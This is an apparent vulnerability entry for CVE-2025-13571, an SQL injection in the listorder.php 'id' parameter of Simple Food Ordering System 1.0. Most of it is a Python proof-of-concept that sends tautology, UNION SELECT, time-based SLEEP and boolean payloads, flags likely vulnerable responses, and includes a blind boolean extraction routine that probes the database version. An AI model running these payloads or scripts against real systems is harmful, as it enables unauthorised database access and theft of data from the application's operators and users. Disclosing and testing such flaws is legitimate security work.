CVE-2025-13571 Simple Food Ordering System 1.0 listorder.php SQL注入漏洞

# CVE-2025-13571 SQL Injection PoC # Target: Simple Food Ordering System 1.0 # Endpoint: /listorder.php # Parameter: ID import requests import sys target = "http://target.com/listorder.php" # Basic SQL Injection test payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT 1,2,3,4,5-- -", "1' AND SLEEP(5)-- -", "1' AND 1=1-- -", "1' AND 1=2-- -" ] print("[*] CVE-2025-13571 SQL Injection Test") print(f"[*] Target: {target}") for payload in payloads: params = {"id": payload} try: response = requests.get(target, params=params, timeout=10) print(f"[+] Payload: {payload}") print(f" Status: {response.status_code}") if "error" not in response.text.lower() and response.status_code == 200: print(f" [+] Potential vulnerable!") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Data extraction example (blind boolean-based) def extract_data(payload): """Extract data using boolean-based blind SQL injection""" params = {"id": f"1' AND {payload}-- -"} response = requests.get(target, params=params) return "expected_content" in response.text # Example: Extract database version version_payload = "(SELECT SUBSTRING(@@version,1,1))=5" if extract_data(version_payload): print("[+] Database version starts with 5")